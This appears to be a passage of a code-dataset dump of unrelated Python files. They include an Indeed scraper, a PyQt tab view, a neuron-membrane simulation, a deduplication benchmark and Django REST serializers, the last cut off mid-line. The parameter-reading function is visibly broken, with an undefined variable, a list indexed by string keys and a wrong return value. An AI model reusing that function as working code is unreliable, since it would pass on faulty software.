'test/'\n\n # -- load for group1\n if name in group1:\n (test_structs, test_categorized_num_atoms, test_categorized_num_structs, test_struct_categorized, test_target) = load_info(test_path, r_cutoff)\n else:\n test_structs = None\n test_categorized_num_atoms = None\n test_struct_categorized = None\n test_categorized_num_structs = None\n test_target = None\n\n find_error(optimal_coeffs, dump_folder_path, num_epochs_final, structs, categorized_num_atoms, categorized_num_structs, n_shuffles, target,\n test_structs, test_categorized_num_atoms, test_categorized_num_structs, test_target, coeff_flag, name,\n names2ranks, grouped_ranks, master_ranks, helper_ranks, group0, group1, comm)\n\n print('TIME IN SECONDS ' + coeff_flag + ':', time.time()-start)\n\n # # -- check if we have to repeat the experiment for Vienna descriptors\n # if both == True:\n # coeff_flag = 'vienna'\n #\n # (optimal_coeffs, dump_folder_path, num_splits) = optimize(dump_folder_path, r_cutoff, num_total, num_rdf, num_adf, comm, structs,\n # categorized_num_atoms, categorized_num_structs, target, coeff_flag=coeff_flag)\n #\n # find_error(optimal_coeffs, dump_folder_path, num_epochs_final, structs, categorized_num_atoms, categorized_num_structs, n_shuffles, target,\n # test_structs, test_categorized_num_atoms, test_categorized_num_structs, test_target, coeff_flag)\n #\n # print('TIME IN SECONDS ' + coeff_flag + ':', time.time()-start)\n\n\ndef optimize_w_radius():\n num_rdf = 6\n num_adf = 6\n range_rdf_means = [0., 1.]\n range_rdf_widths = [0.2, 1.]\n range_adf_means = [0., 1.]\n range_adf_widths = [0.03, 1.]\n cutoff_range = [.5, 12.]\n # n=150\n # m=60\n n = 4\n m = 2\n batch=24\n bb.search(f=wrapper, # given function\n box=[range_rdf_means]*num_rdf+[range_rdf_widths]*num_rdf+ \\\n [range_adf_means]*num_adf+[range_adf_widths]*num_adf+[cutoff_range], # range of values for each parameter (2D case)\n n=n, # number of function calls on initial stage (global search)\n m=m, # number of function calls on subsequent stage (local search)\n batch=batch, # number of calls that will be evaluated in parallel\n resfile='output.csv')\n\nif __name__ == '__main__':\n #test_CV()\n #optimize()\n run_job()\n","sub_path":"CV_sc.py","file_name":"CV_sc.py","file_ext":"py","file_size_in_byte":29722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"109682931","text":"from PyQt5.QtWidgets import QMainWindow, QApplication, QPushButton, QWidget, QAction, QTabWidget, QVBoxLayout, QHBoxLayout\n\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom mywidgets.mytab import Tab\n\nclass InvertersView(QWidget):\n def __init__(self, parent):\n super(QWidget, self).__init__(parent)\n self.counter = 1\n self.layout = QVBoxLayout(self)\n self.upperlay = QHBoxLayout(self)\n\n # Add button\n self.add_button = QtWidgets.QPushButton(self)\n self.add_button.setText(\"\")\n self.add_button.setIcon(QtGui.QIcon(\"other/add.png\"))\n self.add_button.setIconSize(QtCore.QSize(30, 20))\n self.add_button.setFlat(True)\n self.add_button.setFocusPolicy(QtCore.Qt.NoFocus)\n\n self.spacer = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding)\n self.upperlay.addWidget(self.add_button)\n self.upperlay.addItem(self.spacer)\n\n # Initialize tab screen\n self.tabs = QTabWidget()\n self.homeTab = Tab(self,2)\n self.tabs.setTabsClosable(True)\n\n # Add tabs\n self.tabs.addTab(self.homeTab, '1')\n\n # Add tabs to widget\n self.layout.addLayout(self.upperlay)\n self.layout.addWidget(self.tabs)\n self.setLayout(self.layout)\n\n # Signals\n self.tabs.tabCloseRequested.connect(self.closeMyTab)\n self.add_button.clicked.connect(self.addMyTab)\n QtCore.QMetaObject.connectSlotsByName(self)\n\n\n # fucntion called to delete tab\n\n def closeMyTab(self, tab):\n self.tabs.currentWidget().handleClose()\n self.tabs.removeTab(tab)\n self.counter = self.counter - 1\n\n # fucntion called to add new tab\n\n def addMyTab(self):\n NewTab = Tab(self,2)\n self.counter = self.counter + 1\n self.tabs.addTab(NewTab, str(self.counter))\n\n # function called when app is about to close, threads closing\n\n def exitHandler(self):\n for x in range(self.tabs.count()):\n try:\n self.tabs.widget(x).handleClose()\n except Exception as e:\n print(str(e))","sub_path":"inverters.py","file_name":"inverters.py","file_ext":"py","file_size_in_byte":2154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"26186698","text":"\"\"\"\nRetrieve job listings according to the job title and location from indeed.com\n\nUsage:\n python3 indeedScraper.py <job> <location>\n\n note: If command line argument not given, script will use defautl for job = \"Product+Manager\"\n and loc = \"San+Francisco%2C+CA\".\n\nRequirements:\n modules: os, bs4, csv, pd, nltk, sys, rake, yake, gensim, locale, requests.\n\n\"\"\"\nimport os\nimport sys\nimport csv\nimport yake\nimport locale\nimport requests\nimport pandas as pd\nfrom rake_nltk import Rake\nfrom bs4 import BeautifulSoup as bs\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.tokenize import regexp_tokenize\nfrom gensim.parsing.preprocessing import remove_stopwords\n\n\ndef getTotalResults(job, loc):\n \"\"\"\n Retrieve total results of job listing from the site.\n\n Args:\n job: Job title to be searched.\n loc: Job location to be searched.\n\n Returns:\n A integer which is total number of result.\n \"\"\"\n\n resp = requests.get(\n f\"https://www.indeed.com/jobs?q={job}&l={loc}\")\n\n soup = bs(resp.text, \"lxml\")\n locale.setlocale(locale.LC_ALL, 'en_US.UTF-8')\n total_results = soup.find(\n \"div\", id=\"searchCountPages\").text.strip().split()[-2]\n total_results = locale.atoi(total_results)\n print(f\"TotalResults: {total_results}\")\n return total_results\n\n\ndef scraper(total_results, job, loc):\n \"\"\"\n Gets all the job data from the site and saves in the \"indeedScraping.csv\".\n\n Args:\n total_results: Total number of job listing on the site which can be retrieved by the getTotalResult function.\n job: Job title to be searched.\n loc: Job location to be searched.\n\n Returns:\n Doesn't returns any value.\n \"\"\"\n\n for offset in range(0, total_results, 10):\n url = f\"https://www.indeed.com/jobs?q={job}&l={loc}&start={offset}\"\n resp = requests.get(url)\n\n if resp.ok:\n soup = bs(resp.text, \"lxml\")\n job_listings = soup.find(\"td\", id=\"resultsCol\").find_all(\n \"div\", class_=\"result\")\n\n # print(len(job_listings))\n\n for job_content in job_listings:\n title = job_content.h2.a.get('title')\n link = job_content.h2.a.get(\"href\")\n link = \"https://indeed.com\"+link\n company = job_content.find(\n \"span\", class_=\"company\").text.strip()\n job_location = job_content.find(\n \"div\", class_=\"recJobLoc\").get(\"data-rc-loc\")\n\n resp2 = requests.get(link)\n\n if resp2.ok:\n soup2 = bs(resp2.text, \"lxml\")\n try:\n experience = soup2.find_all(\n \"span\", class_=\"jobsearch-JobMetadataHeader-iconLabel\")[-1].text.strip()\n if \"experience\" not in experience:\n experience = \"\"\n except:\n experience = ''\n try:\n skills = [skill.text.strip() for skill in soup2.find_all(\n \"span\", class_=\"jobsearch-JobMetadataHeader-skillItem\")]\n except:\n skills = ''\n\n description = soup2.find(\n \"div\", id=\"jobDescriptionText\").text.strip()\n\n doc = remove_stopwords(description.lower())\n\n description_keywords_yake = yake_keyword(doc)\n description_keywords_rake = rake_keyword(doc)\n description_keywords_soTags = soTags_keyword(doc)\n\n writeToCsv({\"title\": title, \"company\": company, 'job_location': job_location,\n 'experience': experience, 'skills': skills, 'link': link, 'keywords (Yake)': description_keywords_yake, 'keywords (Rake)': description_keywords_rake, 'keywords ( StackOverflow Tags)': description_keywords_soTags})\n print(\n f\"\\n{title}\\n{company}\\n{job_location}\\n{experience}\\n{skills}\\n\")\n\n\ndef rake_keyword(doc):\n \"\"\"\n Extracts keywords from the given text using rake.\n\n Args:\n doc: Paragraph from keywords need to be extracted.\n\n Returns:\n Returns Keywords extracted from the text document passed.\n \"\"\"\n\n r = Rake()\n r.extract_keywords_from_text(doc)\n keywords = r.get_ranked_phrases()\n\n return keywords\n\n\ndef yake_keyword(doc):\n \"\"\"\n Extracts keywords from the given text using yake.\n\n Args:\n doc: Paragraph from keywords need to be extracted.\n\n Returns:\n Returns Keywords extracted from the text document passed.\n \"\"\"\n\n language = \"en\"\n max_ngram_size = 3\n deduplication_thresold = 0.9\n deduplication_algo = 'seqm'\n windowSize = 1\n numOfKeywords = 20\n\n extractor = yake.KeywordExtractor(lan=language, n=max_ngram_size, dedupLim=deduplication_thresold,\n dedupFunc=deduplication_algo, windowsSize=windowSize, top=numOfKeywords, features=None)\n keywords = extractor.extract_keywords(doc)\n keywords = [word for number, word in keywords]\n return keywords\n\n\ndef soTags_keyword(doc):\n \"\"\"\n Extracts keywords from the given text using yake.\n\n Args:\n doc: Paragraph from keywords need to be extracted.\n\n Returns:\n Returns Keywords extracted from the text document passed.\n \"\"\"\n tags = pd.read_csv('tags.csv')\n\n pattern = r'''(?x) \n (?:[A-Z]\\.)+ \n | \\w+(?:-\\w+)* \n | \\$?\\d+(?:\\.\\d+)?%? \n | \\.\\.\\. \n | [][.,;\"'?():_`-] \n '''\n document_tokens = regexp_tokenize(doc, pattern)\n lemmatizer = WordNetLemmatizer()\n\n document_tokens = [lemmatizer.lemmatize(\n token) for token in document_tokens]\n\n keywords = set(document_tokens) & set(tags.technology)\n\n return keywords\n\n\ndef writeToCsv(contents):\n \"\"\"\n Writes one row at a time in csv file.\n\n Args:\n contents: Dictionary of one row.\n\n Returns:\n Doesn't returns anything.\n \"\"\"\n with open(\"indeedScraping.csv\", 'a') as csv_writer:\n fields = ['title', 'company', 'job_location',\n 'experience', 'skills', 'link', 'keywords (Yake)', 'keywords (Rake)', 'keywords ( StackOverflow Tags)']\n writer = csv.DictWriter(csv_writer, fieldnames=fields)\n writer.writerow(contents)\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) > 2:\n job = sys.argv[1]\n loc = sys.argv[2]\n elif len(sys.argv) > 1:\n job = sys.argv[1]\n loc = \"\"\n else:\n job = \"\" # Update here new job names.\n loc = \"\" # Update here for new locations.\n\n if not os.path.exists(\"indeedScraping.csv\"):\n with open(\"indeedScraping.csv\", 'w') as csv_writer:\n fields = ['title', 'company', 'job_location',\n 'experience', 'skills', 'link', 'keywords (Yake)', 'keywords (Rake)', 'keywords ( StackOverflow Tags)']\n writer = csv.DictWriter(csv_writer, fieldnames=fields)\n writer.writeheader()\n\n total_results = getTotalResults(job, loc)\n scraper(total_results, job, loc)\n","sub_path":"indeedScraper.py","file_name":"indeedScraper.py","file_ext":"py","file_size_in_byte":7183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"97744874","text":"#Escribir en papel un programa que tome un número entero positivo ingresado por el usuario\n#y muestre por pantalla \"Usted ingresó un número de una sola cifra\" o \"Usted ingresó un número\n#de más de una cifra\" según corresponda. Realizar 4 corridas de escritorio, escribirlo en Python\n#y luego correrlo en la computadora con los valores iniciales de las corridas y verificar que hayan\n#dado como se esperaba\n\nn=int(input(\"Ingrese un numero \"))\n\nif n >=10 or n<=-10:\n print(\"Usted ingresó un número de más de una cifra\")\nelse:\n print(\"Usted ingreso un numero de una cifra\")\n\nsalida=input(\"Escriba una letra y oprima 'ENTER'\")","sub_path":"Practica2/Ejercicio8.py","file_name":"Ejercicio8.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"447742245","text":"# -*- coding: utf-8 -*-\nimport math\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n\n#Constants\nGNa = 120 #Maximal conductance(Na+) ms/cm2\nGk = 36 #Maximal condectance(K+) ms/cm2\nGleak = 0.3 #Maximal conductance(leak) ms/cm2\ncm = 1 #Cell capacitance uF/cm2\ndelta = 0.01 #Axon condectivity ms2\nENa = 50 #Nernst potential (Na+) mV\nEk = -77 #Nernst potential (K+) mV\nEleak = -54.4 #Nernst potential (leak) mV\n\n\n\n#Simulation Parameters\nsimulation_time = 25.0 #ms\ndomain_length = 4 #cm\ndt = 0.001 #ms\ndx = 0.1 #cm\nx = np.arange(0,domain_length,dx)\ntime = np.arange(0,simulation_time,dt)\n\n\n\n#Convenience variables \na1 = delta*dt/(dx*dx*cm) #V(i-1,t)\na2 = 1 - 2*delta*dt/(dx*dx*cm) #V(i,t) \na3 = delta*dt/(dx*dx*cm) #V(i+1,t)\n\n#Solution matrix\nV = np.zeros((len(x),len(time)))\nM = np.zeros((len(x),len(time)))\nN = np.zeros((len(x),len(time)))\nH = np.zeros((len(x),len(time)))\nV_initial = -70 #mV\n\n#Initial condition\n#When t=0, V=-70mV M=N=H=0\n\nV[:,0] = V_initial\nM[:,0] = 0\nN[:,0] = 0\nH[:,0] = 0\n\n#time loop\nfor n in range(0,len(time)-1): \n #loop over space\n for i in range(1,len(x)-1): \n if n*dt <= 0.9 and n*dt >= 0.5 and i*dx <= 0.3:\n Istim = -25 #uA/cm2\n else:\n Istim = 0\n\n \n #Convenience variables \n INa = GNa*math.pow(M[i,n],3)*H[i,n]*(V[i,n]-ENa)\n Ik = Gk*math.pow(N[i,n],4)*(V[i,n]-Ek)\n Ileak = Gleak*(V[i,n]-Eleak)\n Iion = INa + Ik + Ileak + Istim\n\n \n #FTCS\n V[i,n+1] = a1*V[i-1,n] + a2*V[i,n] + a3*V[i+1,n] - dt*Iion/cm\n #Gating variables:M\n aM = (40+V[i,n])/(1-math.exp(-0.1*(40+V[i,n])))\n bM = 0.108*math.exp(-V[i,n]/18)\n Minf = aM/(aM+bM)\n tM = 1/(aM+bM)\n M[i,n+1] = M[i,n] + dt*(Minf-M[i,n])/tM\n\n #Gating variables:H\n aH = 0.0027*math.exp(-V[i,n]/20) \n bH = 1/(1+math.exp(-0.1*(35-V[i,n]))) \n Hinf = aH/(aH+bH)\n tH = 1/(aH+bH)\n H[i,n+1] = H[i,n] + dt*(Hinf-H[i,n])/tH\n #Gating variables:N\n aN = 0.01*(55+V[i,n])/(1-math.exp(-0.1*(55+V[i,n])))\n bN = 0.055*math.exp(-V[i,n]/80)\n Ninf = aN/(aN+bN)\n tN = 1/(aN+bN)\n N[i,n+1] = N[i,n] + dt*(Ninf-N[i,n])/tN\n #No flux boundary condition at both end \n V[0,n+1] = V[1,n+1] \n V[len(x)-1,n+1] = V[len(x)-2,n+1] \n\n\n\n\n#Conduction velocity\nMax1 = np.argmax(V[0,:])\nMax2 = np.argmax(V[len(x)-1,:])\nprint(domain_length/((Max2-Max1)*dt))\n\n\n\n#Plot V versus time for the first and last node of the axon.\nplt.figure(1)\nplt.clf()\nplt.plot(time,V[0,:],'r-',time,V[len(x)-1,:],'b-')\nplt.show()\n\n","sub_path":"Python/ElectrodePotential/propagate.py","file_name":"propagate.py","file_ext":"py","file_size_in_byte":2589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"619227001","text":"#!/usr/bin/env python\r\n\r\n# import libraries\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\ndef read_parameters(parameter_path):\r\n \"\"\"\r\n INPUT:\r\n parameter_path: path for parameter file\r\n OUTPUT:\r\n tuple with:\r\n [0]: pi values\r\n [1]: transition values\r\n \"\"\"\r\n\r\n # read file\r\n with open(parameter_path) as param_file:\r\n # read PiA; PiC; PiG; PiT\r\n pi_lst = param_file.readline().rstrip('\\n').split(' ')\r\n if len(pi_lst) != 4:\r\n raise AssertionError(cmd_args + ' has incorrect pi values')\r\n\r\n #C->T; A->T; G->T; A->C; C->G; A->G\r\n transition_lst = param_file.readline().rstrip('\\n').split(' ')\r\n if len(pi_lst) != 6:\r\n raise AssertionError(cmd_args + ' has incorrect transition values')\r\n\r\n \r\n\r\n transition_dict = []\r\n transition_dict['alpha'] = transition_lst[0]\r\n transition_dict['beta'] = transition_lst[1]\r\n transition_dict['gamma'] = transition_lst[2]\r\n transition_dict['delta'] = transition_lst[3]\r\n transition_dict['epsilon'] = transition_lst[4]\r\n transition_dict['zeta'] = transition_lst[6]\r\n\r\n # return values\r\n return (pi_lst, pi_lst)\r\n\r\ndef create_parameter_mtx(parameter_path):\r\n \"\"\"\r\n \"\"\"\r\n\r\n read_parameters(parameter_path)\r\n\r\n return\r\n","sub_path":"src/readParameters.py","file_name":"readParameters.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"38055845","text":"#!/usr/bin/env python3\n__author__ = \"Christopher Perry\"\n__email__ = \"ozbonus@gmail.com\"\n\n\"\"\"\nPrint the odd numbers 1 through 99, one number per line.\n\"\"\"\n\nfor n in range(1, 100, 2):\n print(n)\n","sub_path":"easy_odd_numbers.py","file_name":"easy_odd_numbers.py","file_ext":"py","file_size_in_byte":195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"204560973","text":"\"\"\"\nFile: Methods.py - Some helpful functions \nthat can be used in multiple projects.\n\"\"\"\n\ndef parse_file(filename: str, mode: str) -> list:\n \"\"\"\n Function: parse_file\n Function reads in a data file (i.e. CSV) and parses the\n data to go into a list for later manipulations.\n\n Params:\n - filename (str): The name of the file to be examined.\n - mode (str): The mode in which to open the file.\n \n Returns:\n - nested_data_list (list): A new list of the transformed\n data.\n \"\"\"\n data_list = []\n nested_data_list = []\n f = open(filename, mode)\n\n data = f.read()\n data_list = data.split('\\n')\n\n for dl in data_list:\n dl = dl.split(',')\n nested_data_list.append(dl)\n \n return nested_data_list","sub_path":"methods.py","file_name":"methods.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"373795042","text":"# This requires at least Python 3.6\n\nimport time\nimport statistics\nimport random\nimport collections\n\n\ndef f1(seq): # Raymond Hettinger\n hash_ = {}\n [hash_.__setitem__(x, 1) for x in seq]\n return hash_.keys()\n\n#===============================================================================\n# def f2(seq): # ********* run so SLOWWWWW!!!\n# # order preserving\n# checked = []\n# for e in seq:\n# if e not in checked:\n# checked.append(e)\n# return checked\n#===============================================================================\n\ndef f3(seq):\n # Not order preserving\n keys = {}\n for e in seq:\n keys[e] = 1\n return keys.keys()\n\ndef f4(seq): # ********** order preserving\n noDupes = []\n [noDupes.append(i) for i in seq if not noDupes.count(i)]\n return noDupes\n\ndef f5(seq, idfun=None): # Alex Martelli ******* order preserving\n if idfun is None:\n def idfun(x): return x\n seen = {}\n result = []\n for item in seq:\n marker = idfun(item)\n # in old Python versions:\n # if seen.has_key(marker)\n # but in new ones:\n if marker in seen:\n continue\n seen[marker] = 1\n result.append(item)\n return result\n\ndef f5b(seq, idfun=None): # Alex Martelli ******* order preserving\n if idfun is None:\n def idfun(x): return x\n seen = {}\n result = []\n for item in seq:\n marker = idfun(item)\n # in old Python versions:\n # if seen.has_key(marker)\n # but in new ones:\n if marker not in seen:\n seen[marker] = 1\n result.append(item)\n\n return result\n\n# def f6(seq):\n# # Not order preserving\n# return list(Set(seq))\n\ndef f7(seq):\n # Not order preserving\n return list(set(seq))\n\ndef f8(seq): # Dave Kirby\n # Order preserving\n seen = set()\n return [x for x in seq if x not in seen and not seen.add(x)]#seen.add(x) add to checking set and return None\n #need 'not' in front it to make whole 'if' true to put x into the final list\ndef f9(seq):\n # Not order preserving, even in Py >=3.6\n return {}.fromkeys(seq).keys()\n\ndef f10(seq, idfun=None): # Andrew Dalke\n # Order preserving\n return list(_f10(seq, idfun))\n\ndef _f10(seq, idfun=None):\n seen = set()\n if idfun is None:\n for x in seq:\n if x in seen:\n continue\n seen.add(x)\n yield x\n else:\n for x in seq:\n x = idfun(x)\n if x in seen:\n continue\n seen.add(x)\n yield x\n\ndef f11(seq): # f10 but simpler\n # Order preserving\n return list(_f10(seq))\n\ndef _f11(seq):\n seen = set()\n for x in seq:\n if x in seen:\n continue\n seen.add(x)\n yield x\n\n### Only work version >= 3.6. due to dict is keep insertion ordrer\n#change to OrderedDict to compare all f's\n# def f12(seq):\n# # Raymond Hettinger\n# # https://twitter.com/raymondh/status/944125570534621185\n# return list(dict.fromkeys(seq))\ndef f12(seq): #slow, but still much better than f2\n return list(collections.OrderedDict.fromkeys(seq)) #list and dict implement in C, so faster OrderedDict\n\n\ndef timing(f, n, a):\n t1 = time.clock()\n for _ in range(n):\n f(a)\n t2 = time.clock()\n return (t2 - t1) * 1000\n\n\ndef getRandomString(length=10, loweronly=1, numbersonly=0,\n lettersonly=0):\n \"\"\" return a very random string \"\"\"\n _letters = 'abcdefghijklmnopqrstuvwxyz'\n if numbersonly:\n l = list('0123456789')\n elif lettersonly:\n l = list(_letters + _letters.upper())\n else:\n lowercase = _letters+'0123456789'*2\n l = list(lowercase + lowercase.upper())\n random.shuffle(l)\n s = ''.join(l)\n if len(s) < length:\n s = s + getRandomString(loweronly=1)\n s = s[:length]\n if loweronly:\n return s.lower()\n else:\n return s\n\n\ndef run():\n testdata = {}\n\n for i in range(35):\n k = getRandomString(5, lettersonly=1)\n v = getRandomString(100)\n testdata[k] = v\n\n # print(f1(list('abracadabra')))\n # print(f3(list('abracadabra')))\n testdata = []\n\n for i in range(20000):\n testdata.append(getRandomString(3, loweronly=True))\n\n order_preserving = f4, f5, f5b, f8, f10, f11\n order_preserving = f5, f5b, f8, f10, f11, f12\n\n not_order_preserving = f1, f3, f7, f9\n testfuncs = order_preserving + not_order_preserving\n\n for i, f in enumerate(order_preserving):\n if i:\n prev_f = order_preserving[i - 1]\n r1 = prev_f(testdata)\n r2 = f(testdata)\n # print(len(r1), 100 * len(r1) / len(testdata))\n assert r1 == r2, '{} != {}'.format(prev_f, f)\n\n for i, f in enumerate(not_order_preserving):\n if i:\n prev_f = not_order_preserving[i - 1]\n r1 = prev_f(testdata)\n r2 = f(testdata)\n # print(len(r1))\n assert set(r1) == set(r2), '{} != {}'.format(prev_f, f)\n\n times = {}\n\n testfuncs = list(testfuncs)\n for _ in range(10):\n random.shuffle(testfuncs)\n for f in testfuncs:\n if f not in times:\n times[f] = []\n times[f].append(timing(f, 100, testdata))\n\n results = []\n for f, mss in times.items():\n results.append((\n f,\n f in order_preserving,\n statistics.mean(mss),\n statistics.median(mss),\n ))\n\n print(\n 'FUNCTION'.ljust(15),\n 'ORDER PRESERVING'.ljust(20),\n 'MEAN'.ljust(10),\n 'MEDIAN',\n )\n results.sort(key=lambda x: (not x[1], x[2]))\n # results.sort(key=lambda x: x[0].__name__)\n for f, is_order_preserving, mean, median in results:\n print(\n f.__name__.ljust(15),\n ('yes' if is_order_preserving else 'no').ljust(20),\n '{:.1f}'.format(mean).ljust(10),\n '{:.1f}'.format(median),\n )\n\n\nif __name__ == '__main__':\n run()\n''' \n********** RESULT ***********\nFUNCTION ORDER PRESERVING MEAN MEDIAN\nf8 yes 418.0 414.8\nf11 yes 484.5 482.8\nf10 yes 498.1 482.3\nf5b yes 838.5 817.3\nf5 yes 850.4 836.4\nf12 yes 4867.3 4815.3\nf2 yes 389097.3 387661.7\nf7 no 149.7 145.5\nf9 no 176.6 171.0\nf3 no 259.3 247.1\nf1 no 611.8 585.4\n'''\n","sub_path":"PyApps.tomove.bk/uniqifiers_benchmark_3.6.py","file_name":"uniqifiers_benchmark_3.6.py","file_ext":"py","file_size_in_byte":6759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"176047859","text":"from rest_framework import serializers\nfrom django.conf import settings\nfrom rest_framework.exceptions import ValidationError\nimport mistune\n\nfrom api import models\n\n\ndef deserialize(serializer_class, data):\n\n serializer = serializer_class(data=data)\n serializer.is_valid(raise_exception=True)\n\n return serializer\n\n\ndef serialize(serializer_class, instance, data=None, **kwargs):\n\n if data is None:\n serializer = serializer_class(instance, **kwargs)\n else:\n serializer = serializer_class(instance, data=data, **kwargs)\n serializer.is_valid(raise_exception=True)\n\n return serializer\n\n\nclass OnlyIdSer(serializers.Serializer):\n\n id = serializers.IntegerField()\n\n\nclass OnlyQSerReq(serializers.Serializer):\n\n q = serializers.CharField(allow_blank=True)\n\n\nclass OnlyQSer(serializers.Serializer):\n\n q = serializers.CharField(allow_blank=True, required=False, default='')\n\n\nclass CitySer(serializers.Serializer):\n\n id = serializers.IntegerField()\n name = serializers.CharField()\n\n\nclass EventForGroupSer(serializers.Serializer):\n\n id = serializers.IntegerField()\n name = serializers.CharField()\n\n\nclass GroupSer(serializers.Serializer):\n\n id = serializers.IntegerField(read_only=True)\n short_name = serializers.CharField()\n alt_names = serializers.CharField(allow_blank=True, required=False)\n repr_name = serializers.CharField()\n city = CitySer()\n slug = serializers.SlugField()\n tag = serializers.CharField(default='')\n event_lock = serializers.BooleanField(read_only=True)\n current_event = EventForGroupSer(read_only=True, required=False)\n\n def create(self, validated_data):\n\n participant = models.Participant.objects.get(user=validated_data['user'])\n city = models.City.objects.get(pk=validated_data['city']['id'])\n\n group = models.Group.objects.create(\n short_name=validated_data['short_name'],\n alt_names=validated_data['alt_names'],\n repr_name=validated_data['repr_name'],\n city=city,\n slug=validated_data['slug'],\n owner=participant)\n\n return group\n\n def update(self, instance, validated_data):\n\n city = models.City.objects.get(pk=validated_data['city']['id'])\n\n instance.city = city\n instance.short_name = validated_data['short_name']\n instance.alt_names = validated_data['alt_names']\n instance.repr_name = validated_data['repr_name']\n instance.slug = validated_data['slug']\n\n instance.save()\n\n return instance\n\n\nclass ExistsSer(serializers.Serializer):\n\n is_exists = serializers.BooleanField()\n\n\nclass CheckSlug(serializers.Serializer):\n\n is_exists = serializers.BooleanField()\n is_correct = serializers.BooleanField()\n is_ok = serializers.BooleanField()\n\n\nclass QuestionSer(serializers.Serializer):\n\n id = serializers.IntegerField(required=False)\n type = serializers.IntegerField()\n typed_content = serializers.CharField()\n has_answers = serializers.BooleanField(required=False)\n\n\nclass EventSer(serializers.Serializer):\n\n id = serializers.IntegerField(read_only=True)\n name = serializers.CharField()\n date_start = serializers.DateTimeField()\n date_end = serializers.DateTimeField()\n rules = serializers.CharField()\n rules_html = serializers.CharField(read_only=True)\n process = serializers.CharField()\n process_html = serializers.CharField(read_only=True)\n groups = OnlyIdSer(many=True)\n questions = QuestionSer(many=True)\n\n def validate(self, data):\n\n if data['date_start'] > data['date_end']:\n raise ValidationError(\"Дата начала события не может быть раньше даты конца\")\n\n if not data['groups']:\n raise ValidationError('Нельзя создать событие без групп')\n\n return data\n\n def create(self, validated_data):\n\n participant = models.Participant.objects.get(user=validated_data['user'])\n group_ids = [it['id'] for it in validated_data['groups']]\n groups = models.Group.objects.filter(\n owner=participant, id__in=group_ids, event_lock=False)\n\n if groups.count() != len(group_ids):\n raise ValidationError(\"Не все группы доступны для создания события\")\n\n event = models.Event.objects.create(\n name=validated_data['name'],\n date_start=validated_data['date_start'],\n date_end=validated_data['date_end'],\n rules=validated_data['rules'],\n rules_html=mistune.markdown(validated_data['rules']),\n process=validated_data['process'],\n process_html=mistune.markdown(validated_data['process']),\n owner=participant)\n\n event.groups = groups\n event.save()\n\n # Блокирование групп\n for group in groups:\n group.event_lock = True\n group.save()\n\n # Создание вопросов и добавление их к event\n for question in validated_data['questions']:\n models.Question.objects.create(\n event=event,\n type=question['type'],\n typed_content=question['typed_content'])\n\n return event\n\n def update(self, instance, validated_data):\n\n participant = models.Participant.objects.get(user=validated_data['user'])\n\n requested_gids = [it['id'] for it in validated_data['groups']]\n bound_gids = [\n gid for gid in instance.groups.values_list('id', flat=True)\n ]\n\n # ID групп, которые необходимо разблокировать (удаленные из события группы)\n unbound_gids = [\n gid for gid in bound_gids if gid not in requested_gids\n ]\n\n # ID групп, которые необходимо заблокировать (добавленные к событию группы)\n new_gids = [\n gid for gid in requested_gids\n if gid not in unbound_gids and gid not in bound_gids\n ]\n\n # Можно ли разблокировать группы, которые просят удалить из события?\n unlocked_groups = models.Group.objects.filter(\n owner=participant, id__in=unbound_gids, event_lock=True\n )\n if unlocked_groups.count() != len(unbound_gids):\n raise ValidationError(\"Не все группы можно удалить из события\")\n\n # Можно ли заблокировать группы, которые просят добавить?\n locked_groups = models.Group.objects.filter(\n owner=participant, id__in=new_gids, event_lock=False\n )\n if locked_groups.count() != len(new_gids):\n raise ValidationError(\"Не все группы можно добавить к событию\")\n\n final_groups_ids = [\n gid for gid in requested_gids\n if gid not in unbound_gids\n ]\n\n groups = models.Group.objects.filter(\n owner=participant, id__in=final_groups_ids\n )\n\n instance.name = validated_data['name']\n instance.date_start = validated_data['date_start']\n instance.date_end = validated_data['date_end']\n instance.rules = validated_data['rules']\n instance.process = validated_data['process']\n instance.rules_html = mistune.markdown(validated_data['rules'])\n instance.process_html = mistune.markdown(validated_data['process'])\n\n # Блокирование групп\n for group in groups:\n group.event_lock = True\n group.save()\n\n # Разблокирование групп\n for group in unlocked_groups:\n group.event_lock = False\n group.save()\n\n instance.groups = groups\n instance.save()\n\n\n # Все вопросы запроса, имеющие id (по мнению клиента)\n questions_with_ids = {\n q['id']: q for q in validated_data['questions'] if 'id' in q\n }\n\n # Существующие вопросы события\n bound_question_ids = [\n qid for qid in instance.questions.values_list('id', flat=True)\n ]\n\n # Удаляем ненужные вопросы события\n unbound_question_ids = [\n qid for qid in bound_question_ids if qid not in questions_with_ids.keys()\n ]\n if unbound_question_ids:\n questions = models.Question.objects.filter(id__in=unbound_question_ids)\n invulnerable_questions = False\n for q in questions:\n invulnerable_questions = q.has_answers()\n if invulnerable_questions:\n break\n \n if invulnerable_questions:\n raise ValidationError(\"Нельзя удалять вопросы, на которые уже есть ответы\")\n else:\n questions.delete()\n\n # Проверяем оставшиеся вопросы на наличие изменений\n mod_questions_ids = [\n qid for qid in bound_question_ids if qid not in unbound_question_ids\n ]\n if mod_questions_ids:\n questions = models.Question.objects.filter(id__in=mod_questions_ids)\n for q in questions:\n if not q.has_answers() \\\n and q.typed_content != questions_with_ids[q.id]['typed_content']:\n q.typed_content = 